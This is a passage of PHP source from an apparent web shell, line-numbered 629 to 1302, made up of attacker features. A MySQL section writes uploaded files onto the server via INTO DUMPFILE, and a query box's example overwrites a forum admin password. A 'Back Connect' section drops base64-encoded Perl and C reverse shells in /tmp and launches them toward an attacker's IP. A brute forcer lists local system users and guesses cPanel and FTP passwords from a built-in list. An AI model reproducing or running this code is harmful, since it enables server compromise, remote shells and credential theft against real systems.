  629. p('</form></table>');
  630. }
  631. elseif ($action == 'sqlfile') {
  632. if($doing=="mysqlupload"){
  633. $file = $_FILES['uploadfile'];
  634. $filename = $file['tmp_name'];
  635. if (file_exists($savepath)) {
  636. m('The goal file has already existed');
  637. } else {
  638. if(!$filename) {
  639. m('Please choose a file');
  640. } else {
  641. $fp=@fopen($filename,'r');
  642. $contents=@fread($fp, filesize($filename));
  643. @fclose($fp);
  644. $contents = bin2hex($contents);
  645. if(!$upname) $upname = $file['name'];
  646. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  647. $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  648. m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  649. }
  650. }
  651. }
  652. ?>
  653. <script type="text/javascript">
  654. function mysqlfile(doing){
  655. if(!doing) return;
  656. $('doing').value=doing;
  657. $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  658. $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  659. $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  660. $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  661. $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  662. $('mysqlfile').charset.value=$('dbinfo').charset.value;
  663. $('mysqlfile').submit();
  664. }
  665. </script>
  666. <?php
  667. !$dbhost && $dbhost = 'localhost';
  668. !$dbuser && $dbuser = 'root';
  669. !$dbport && $dbport = '3306';
  670. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  671. formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  672. makehide('action','sqlfile');
  673. p('<p>');
  674. p('DBHost:');
  675. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  676. p(':');
  677. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  678. p('DBUser:');
  679. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  680. p('DBPass:');
  681. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  682. p('DBName:');
  683. makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  684. p('DBCharset:');
  685. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  686. p('</p>');
  687. formfoot();
  688. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  689. p('<h2>Upload file</h2>');
  690. p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  691. p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  692. p('<h2>Download file</h2>');
  693. p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  694. makehide('dbhost');
  695. makehide('dbport');
  696. makehide('dbuser');
  697. makehide('dbpass');
  698. makehide('dbname');
  699. makehide('charset');
  700. makehide('doing');
  701. makehide('action','sqlfile');
  702. p('</form>');
  703. }
  704. elseif ($action == 'sqladmin') {
  705. !$dbhost && $dbhost = 'localhost';
  706. !$dbuser && $dbuser = 'root';
  707. !$dbport && $dbport = '3306';
  708. $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  709. if(isset($dbhost)){
  710. $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  711. }
  712. if(isset($dbuser)) {
  713. $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  714. }
  715. if(isset($dbpass)) {
  716. $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  717. }
  718. if(isset($dbport)) {
  719. $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  720. }
  721. if(isset($dbname)) {
  722. $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  723. }
  724. if(isset($charset)) {
  725. $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  726. }
  727. if ($doing == 'backupmysql' && $saveasfile) {
  728. if (!$table) {
  729. m('Please choose the table');
  730. } else {
  731. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  732. $table = array_flip($table);
  733. $fp = @fopen($path,'w');
  734. if ($fp) {
  735. $result = q('SHOW tables');
  736. if (!$result) p('<h2>'.mysql_error().'</h2>');
  737. $mysqldata = '';
  738. while ($currow = mysql_fetch_array($result)) {
  739. if (isset($table[$currow[0]])) {
  740. sqldumptable($currow[0], $fp);
  741. }
  742. }
  743. fclose($fp);
  744. $fileurl = str_replace(SA_ROOT,'',$path);
  745. m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  746. mysql_close();
  747. } else {
  748. m('Backup failed');
  749. }
  750. }
  751. }
  752. if ($insert && $insertsql) {
  753. $keystr = $valstr = $tmp = '';
  754. foreach($insertsql as $key => $val) {
  755. if ($val) {
  756. $keystr .= $tmp.$key;
  757. $valstr .= $tmp."'".addslashes($val)."'";
  758. $tmp = ',';
  759. }
  760. }
  761. if ($keystr && $valstr) {
  762. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  763. m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  764. }
  765. }
  766. if ($update && $insertsql && $base64) {
  767. $valstr = $tmp = '';
  768. foreach($insertsql as $key => $val) {
  769. $valstr .= $tmp.$key."='".addslashes($val)."'";
  770. $tmp = ',';
  771. }
  772. if ($valstr) {
  773. $where = base64_decode($base64);
  774. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  775. m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  776. }
  777. }
  778. if ($doing == 'del' && $base64) {
  779. $where = base64_decode($base64);
  780. $delete_sql = "DELETE FROM $tablename WHERE $where";
  781. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  782. m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  783. }
  784. if ($tablename && $doing == 'drop') {
  785. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  786. if (q("DROP TABLE $tablename")) {
  787. m('Drop table of success');
  788. $tablename = '';
  789. } else {
  790. m(mysql_error());
  791. }
  792. }
  793. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  794. formhead(array('title'=>'MYSQL Manager'));
  795. makehide('action','sqladmin');
  796. p('<p>');
  797. p('DBHost:');
  798. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  799. p(':');
  800. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  801. p('DBUser:');
  802. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  803. p('DBPass:');
  804. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  805. p('DBCharset:');
  806. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  807. makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  808. p('</p>');
  809. formfoot();
  810. ?>
  811. <script type="text/javascript">
  812. function editrecord(action, base64, tablename){
  813. if (action == 'del') {
  814. if (!confirm('Is or isn\'t deletion record?')) return;
  815. }
  816. $('recordlist').doing.value=action;
  817. $('recordlist').base64.value=base64;
  818. $('recordlist').tablename.value=tablename;
  819. $('recordlist').submit();
  820. }
  821. function moddbname(dbname) {
  822. if(!dbname) return;
  823. $('setdbname').dbname.value=dbname;
  824. $('setdbname').submit();
  825. }
  826. function settable(tablename,doing,page) {
  827. if(!tablename) return;
  828. if (doing) {
  829. $('settable').doing.value=doing;
  830. }
  831. if (page) {
  832. $('settable').page.value=page;
  833. }
  834. $('settable').tablename.value=tablename;
  835. $('settable').submit();
  836. }
  837. </script>
  838. <?php
  839. formhead(array('name'=>'recordlist'));
  840. makehide('doing');
  841. makehide('action','sqladmin');
  842. makehide('base64');
  843. makehide('tablename');
  844. p($dbform);
  845. formfoot();
  846. formhead(array('name'=>'setdbname'));
  847. makehide('action','sqladmin');
  848. p($dbform);
  849. if (!$dbname) {
  850. makehide('dbname');
  851. }
  852. formfoot();
  853. formhead(array('name'=>'settable'));
  854. makehide('action','sqladmin');
  855. p($dbform);
  856. makehide('tablename');
  857. makehide('page',$page);
  858. makehide('doing');
  859. formfoot();
  860. $cachetables = array();
  861. $pagenum = 30;
  862. $page = intval($page);
  863. if($page) {
  864. $start_limit = ($page - 1) * $pagenum;
  865. } else {
  866. $start_limit = 0;
  867. $page = 1;
  868. }
  869. if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  870. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  871. $mysqlver = mysql_get_server_info();
  872. p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  873. $highver = $mysqlver > '4.1' ? 1 : 0;
  874. $query = q("SHOW DATABASES");
  875. $dbs = array();
  876. $dbs[] = '-- Select a database --';
  877. while($db = mysql_fetch_array($query)) {
  878. $dbs[$db['Database']] = $db['Database'];
  879. }
  880. makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  881. $tabledb = array();
  882. if ($dbname) {
  883. p('<p>');
  884. p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  885. if ($tablename) {
  886. p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  887. }
  888. p('</p>');
  889. mysql_select_db($dbname);
  890. $getnumsql = '';
  891. $runquery = 0;
  892. if ($sql_query) {
  893. $runquery = 1;
  894. }
  895. $allowedit = 0;
  896. if ($tablename && !$sql_query) {
  897. $sql_query = "SELECT * FROM $tablename";
  898. $getnumsql = $sql_query;
  899. $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  900. $allowedit = 1;
  901. }
  902. p('<form action="'.$self.'" method="POST">');
  903. p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  904. </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  905. makehide('tablename', $tablename);
  906. makehide('action','sqladmin');
  907. p($dbform);
  908. p('</form>');
  909. if ($tablename || ($runquery && $sql_query)) {
  910. if ($doing == 'structure') {
  911. $result = q("SHOW COLUMNS FROM $tablename");
  912. $rowdb = array();
  913. while($row = mysql_fetch_array($result)) {
  914. $rowdb[] = $row;
  915. }
  916. p('<table border="0" cellpadding="3" cellspacing="0">');
  917. p('<tr class="head">');
  918. p('<td>Field</td>');
  919. p('<td>Type</td>');
  920. p('<td>Null</td>');
  921. p('<td>Key</td>');
  922. p('<td>Default</td>');
  923. p('<td>Extra</td>');
  924. p('</tr>');
  925. foreach ($rowdb as $row) {
  926. $thisbg = bg();
  927. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  928. p('<td>'.$row['Field'].'</td>');
  929. p('<td>'.$row['Type'].'</td>');
  930. p('<td>'.$row['Null'].'&nbsp;</td>');
  931. p('<td>'.$row['Key'].'&nbsp;</td>');
  932. p('<td>'.$row['Default'].'&nbsp;</td>');
  933. p('<td>'.$row['Extra'].'&nbsp;</td>');
  934. p('</tr>');
  935. }
  936. tbfoot();
  937. } elseif ($doing == 'insert' || $doing == 'edit') {
  938. $result = q('SHOW COLUMNS FROM '.$tablename);
  939. while ($row = mysql_fetch_array($result)) {
  940. $rowdb[] = $row;
  941. }
  942. $rs = array();
  943. if ($doing == 'insert') {
  944. p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  945. } else {
  946. p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  947. $where = base64_decode($base64);
  948. $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  949. $rs = mysql_fetch_array($result);
  950. }
  951. p('<form method="post" action="'.$self.'">');
  952. p($dbform);
  953. makehide('action','sqladmin');
  954. makehide('tablename',$tablename);
  955. p('<table border="0" cellpadding="3" cellspacing="0">');
  956. foreach ($rowdb as $row) {
  957. if ($rs[$row['Field']]) {
  958. $value = htmlspecialchars($rs[$row['Field']]);
  959. } else {
  960. $value = '';
  961. }
  962. $thisbg = bg();
  963. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  964. p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  965. }
  966. if ($doing == 'insert') {
  967. p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  968. } else {
  969. p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  970. makehide('base64', $base64);
  971. }
  972. p('</table></form>');
  973. } else {
  974. $querys = @explode(';',$sql_query);
  975. foreach($querys as $num=>$query) {
  976. if ($query) {
  977. p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  978. switch(qy($query))
  979. {
  980. case 0:
  981. p('<h2>Error : '.mysql_error().'</h2>');
  982. break;
  983. case 1:
  984. if (strtolower(substr($query,0,13)) == 'select * from') {
  985. $allowedit = 1;
  986. }
  987. if ($getnumsql) {
  988. $tatol = mysql_num_rows(q($getnumsql));
  989. $multipage = multi($tatol, $pagenum, $page, $tablename);
  990. }
  991. if (!$tablename) {
  992. $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  993. $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  994. preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  995. $tablename = $matches[1][0];
  996. }
  997. $result = q($query);
  998. p($multipage);
  999. p('<table border="0" cellpadding="3" cellspacing="0">');
  1000. p('<tr class="head">');
  1001. if ($allowedit) p('<td>Action</td>');
  1002. $fieldnum = @mysql_num_fields($result);
  1003. for($i=0;$i<$fieldnum;$i++){
  1004. $name = @mysql_field_name($result, $i);
  1005. $type = @mysql_field_type($result, $i);
  1006. $len = @mysql_field_len($result, $i);
  1007. p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1008. }
  1009. p('</tr>');
  1010. while($mn = @mysql_fetch_assoc($result)){
  1011. $thisbg = bg();
  1012. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1013. $where = $tmp = $b1 = '';
  1014. foreach($mn as $key=>$inside){
  1015. if ($inside) {
  1016. $where .= $tmp.$key."='".addslashes($inside)."'";
  1017. $tmp = ' AND ';
  1018. }
  1019. $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  1020. }
  1021. $where = base64_encode($where);
  1022. if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1023. p($b1);
  1024. p('</tr>');
  1025. unset($b1);
  1026. }
  1027. tbfoot();
  1028. p($multipage);
  1029. break;
  1030. case 2:
  1031. $ar = mysql_affected_rows();
  1032. p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1033. break;
  1034. }
  1035. }
  1036. }
  1037. }
  1038. } else {
  1039. $query = q("SHOW TABLE STATUS");
  1040. $table_num = $table_rows = $data_size = 0;
  1041. $tabledb = array();
  1042. while($table = mysql_fetch_array($query)) {
  1043. $data_size = $data_size + $table['Data_length'];
  1044. $table_rows = $table_rows + $table['Rows'];
  1045. $table['Data_length'] = sizecount($table['Data_length']);
  1046. $table_num++;
  1047. $tabledb[] = $table;
  1048. }
  1049. $data_size = sizecount($data_size);
  1050. unset($table);
  1051. p('<table border="0" cellpadding="0" cellspacing="0">');
  1052. p('<form action="'.$self.'" method="POST">');
  1053. makehide('action','sqladmin');
  1054. p($dbform);
  1055. p('<tr class="head">');
  1056. p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1057. p('<td>Name</td>');
  1058. p('<td>Rows</td>');
  1059. p('<td>Data_length</td>');
  1060. p('<td>Create_time</td>');
  1061. p('<td>Update_time</td>');
  1062. if ($highver) {
  1063. p('<td>Engine</td>');
  1064. p('<td>Collation</td>');
  1065. }
  1066. p('</tr>');
  1067. foreach ($tabledb as $key => $table) {
  1068. $thisbg = bg();
  1069. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1070. p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1071. p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1072. p('<td>'.$table['Rows'].'</td>');
  1073. p('<td>'.$table['Data_length'].'</td>');
  1074. p('<td>'.$table['Create_time'].'</td>');
  1075. p('<td>'.$table['Update_time'].'</td>');
  1076. if ($highver) {
  1077. p('<td>'.$table['Engine'].'</td>');
  1078. p('<td>'.$table['Collation'].'</td>');
  1079. }
  1080. p('</tr>');
  1081. }
  1082. p('<tr class=fout>');
  1083. p('<td>&nbsp;</td>');
  1084. p('<td>Total tables: '.$table_num.'</td>');
  1085. p('<td>'.$table_rows.'</td>');
  1086. p('<td>'.$data_size.'</td>');
  1087. p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1088. p('</tr>');
  1089. p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."sql.gz\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1090. makehide('doing','backupmysql');
  1091. formfoot();
  1092. p("</table>");
  1093. fr($query);
  1094. }
  1095. }
  1096. }
  1097. tbfoot();
  1098. @mysql_close();
  1099. }
  1100. elseif ($action == 'backconnect') {
  1101. !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1102. !$yourport && $yourport = '12345';
  1103. $usedb = array('perl'=>'perl','c'=>'c');
  1104. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1105. "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1106. "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1107. "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1108. "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1109. "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1110. "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1111. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1112. "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1113. "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1114. "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1115. "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1116. "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1117. "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1118. "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1119. if ($start && $yourip && $yourport && $use){
  1120. if ($use == 'perl') {
  1121. cf('/tmp/angel_bc',$back_connect);
  1122. $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  1123. } else {
  1124. cf('/tmp/angel_bc.c',$back_connect_c);
  1125. $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1126. @unlink('/tmp/angel_bc.c');
  1127. $res = execute("/tmp/angel_bc $yourip $yourport &");
  1128. }
  1129. m("Now script try connect to $yourip port $yourport ...");
  1130. }
  1131. formhead(array('title'=>'Back Connect'));
  1132. makehide('action','backconnect');
  1133. p('<p>');
  1134. p('Your IP:');
  1135. makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  1136. p('Your Port:');
  1137. makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  1138. p('Use:');
  1139. makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  1140. makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  1141. p('</p>');
  1142. formfoot();
  1143. }
  1144. elseif ($action == 'brute') {
  1145. formhead(array('title'=>'Brute Forcer'));
  1146. makehide('action','brute');
  1147. makehide('dir',$brute);
  1148. @ini_set('memory_limit', 1000000000000);
  1149. $connect_timeout=5;
  1150. @set_time_limit(0);
  1151. $submit = $_REQUEST['submit'];
  1152. $users = $_REQUEST['users'];
  1153. $pass = $_REQUEST['passwords'];
  1154. $target = $_REQUEST['target'];
  1155. $option = $_REQUEST['option'];
  1156. $passlist = "123pass
  1157. 123!@#
  1158. 123admin
  1159. 123abc
  1160. 123456admin
  1161. 1234554321
  1162. 12344321
  1163. pass123
  1164. admin
  1165. admincp
  1166. administrator
  1167. matkhau
  1168. passadmin
  1169. p@ssword
  1170. password
  1171. 012345
  1172. 123456
  1173. 1234567
  1174. 12345678
  1175. 123456789
  1176. 1234567890
  1177. 111111
  1178. 000000
  1179. 222222
  1180. 333333
  1181. 444444
  1182. 555555
  1183. 666666
  1184. 777777
  1185. 888888
  1186. 999999
  1187. 123123
  1188. 234234
  1189. 345345
  1190. 456456
  1191. 567567
  1192. 678678
  1193. 789789
  1194. 123321
  1195. 456654
  1196. 654321
  1197. 7654321
  1198. 87654321
  1199. 987654321
  1200. 0987654321
  1201. admin123
  1202. admin123456
  1203. abcdef
  1204. abcabc
  1205. !@#!@#
  1206. !@#$%^
  1207. !@#$%^&*(
  1208. !@#$$#@!
  1209. abc123
  1210. anhyeuem
  1211. iloveyou
  1212. admin
  1213. administrator
  1214. admincp
  1215. cpanel
  1216. adminx
  1217. admins
  1218. password
  1219. passwords
  1220. passw0rd
  1221. p@ssw0rd
  1222. p@ssword
  1223. khongco
  1224. 25251325
  1225. passw0rds";
  1226. if($target == ''){
  1227. $target = 'localhost';
  1228. }
  1229. print " <div align='center'>
  1230. <form method='post' style='border: 1px solid #000000'><br><br>
  1231. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
  1232. <b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
  1233. <div align='center'><br>
  1234. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
  1235. <tr>
  1236. <td align='center'>
  1237. <b>Username</b></td>
  1238. <td>
  1239. <p align='center'>
  1240. <b>Password</b></td>
  1241. </tr>
  1242. </table>
  1243. <p align='center'>
  1244. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  1245. $i = 0;
  1246. while ($i < 60000) {
  1247. $line = posix_getpwuid($i);
  1248. if (!empty($line)) {
  1249. while (list ($key, $vba_etcpwd) = each($line)){
  1250. echo "".$vba_etcpwd."\n";
  1251. break;
  1252. }
  1253. }
  1254. $i++;
  1255. }
  1256. echo "
  1257. </textarea>
  1258. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
  1259. <br>
  1260. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  1261. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
  1262. </td></tr></table></td></tr></form><p align= 'left'>";
  1263. ?>
  1264. <?php
  1265. function ftp_check($host,$user,$pass,$timeout){
  1266. $ch = curl_init();
  1267. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  1268. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1269. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1270. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  1271. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1272. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1273. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1274. $data = curl_exec($ch);
  1275. if ( curl_errno($ch) == 28 ) {
  1276. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1277. exit;}
  1278. elseif ( curl_errno($ch) == 0 ){
  1279. p("<b>[ SonicQ12 ]# </b>
  1280. <b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
  1281. }
  1282. curl_close($ch);}
  1283. function cpanel_check($host,$user,$pass,$timeout){
  1284. $ch = curl_init();
  1285. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  1286. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1287. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1288. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1289. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1290. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1291. $data = curl_exec($ch);
  1292. if ( curl_errno($ch) == 28 ) {
  1293. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1294. exit;}
  1295. elseif ( curl_errno($ch) == 0 ){
  1296. p("<b>[ SonicQ12 ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
  1297. if(isset($submit) && !empty($submit)){
  1298. $userlist = explode ("\n" , $users );
  1299. $passlist = explode ("\n" , $pass );
  1300. p('<b>[ SonicQ12 ]# Attacking ...</font></b><br>');
  1301. foreach ($userlist as $user) {
  1302. $_user = trim($user);
